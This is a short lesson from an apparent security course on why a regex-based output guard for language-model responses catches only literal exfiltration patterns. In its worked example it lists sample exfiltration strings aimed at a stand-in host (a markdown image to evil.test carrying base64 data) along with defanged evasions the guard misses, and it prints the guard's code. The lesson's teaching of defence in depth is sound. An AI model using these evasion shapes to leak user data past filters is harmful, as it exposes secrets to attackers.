CSE Roadmap

Core tier · about 4 hours · 13 parts

Part 4 of 13 · 2 min read

A pattern-matching output guard is a tripwire for the common channel, not a wall

An output filter built to recognize specific exfiltration shapes will reliably catch exactly those shapes and nothing phrased even slightly differently.

Think of a metal detector at a venue entrance. It reliably catches a gun carried in plain metal form. It does nothing at all if the same threat is disassembled into non-metallic parts and reassembled on the other side.

an output guard inspecting model responses for secrets and links to untrusted hosts is a real defence against the literal patterns it was built to recognize, and a genuinely useless one against an evasion that carries the same information with no scheme, a spelled-out domain, or plain prose instead of a URL. Which is exactly why a guard belongs alongside structural controls (closing the channel itself, such as disabling auto-rendered images from untrusted hosts) rather than standing in for them.

A worked example. The output guard flags 100% of 10 plain exfiltration attempts, such as a markdown image pointing at https://evil.test/p.png?d=YWxpY2UsYm9i or a bare AWS-style secret key pattern. Against 5 evasions carrying the identical underlying information -- "Go to evil[.]test/p?d=YWxpY2UsYm9i", "Open your browser and type evil dot test, then paste YWxpY2UsYm9iLGNhcm9s", "The admin password is hunter2" -- the guard flags exactly 0. It flags 0% of 10 benign outputs too, so the guard isn't simply over-triggering; it is specifically blind to anything that doesn't look like a URL or a known secret-key format.

The key lines. From code/mini-guardrails/guardrails.py:

# from code/mini-guardrails/guardrails.py
def output_guard(text):
    """Flag secrets and links/images to hosts outside the allowlist (a common data-exfiltration channel)."""
    flags = []
    if SECRET.search(text): flags.append("secret")
    for m in URL.finditer(text):
        host = (urlsplit(m.group(0)).hostname or "").lower()
        if host not in ALLOWED_OUT_HOSTS: flags.append("external_url")
    return flags

Read it as: the whole function depends on URL.finditer finding something that matches a URL pattern in the first place. "Go to evil[.]test" with a bracketed dot is not a string this regex will ever recognize as a URL. The function's entire detection logic never even activates. This is not a near-miss in the pattern matching. It is a complete category the guard was never built to look inside.

Defence in depth

Defence in depth is several different controls, so one failure is not fatal.

Example: an output guard that misses every evasion is still worth having, as long as it sits next to a structural control (no auto-loading images from unlisted hosts, an egress allowlist) that doesn't depend on recognizing the attack's shape at all -- that pairing, not the guard alone, is what defence in depth actually means here.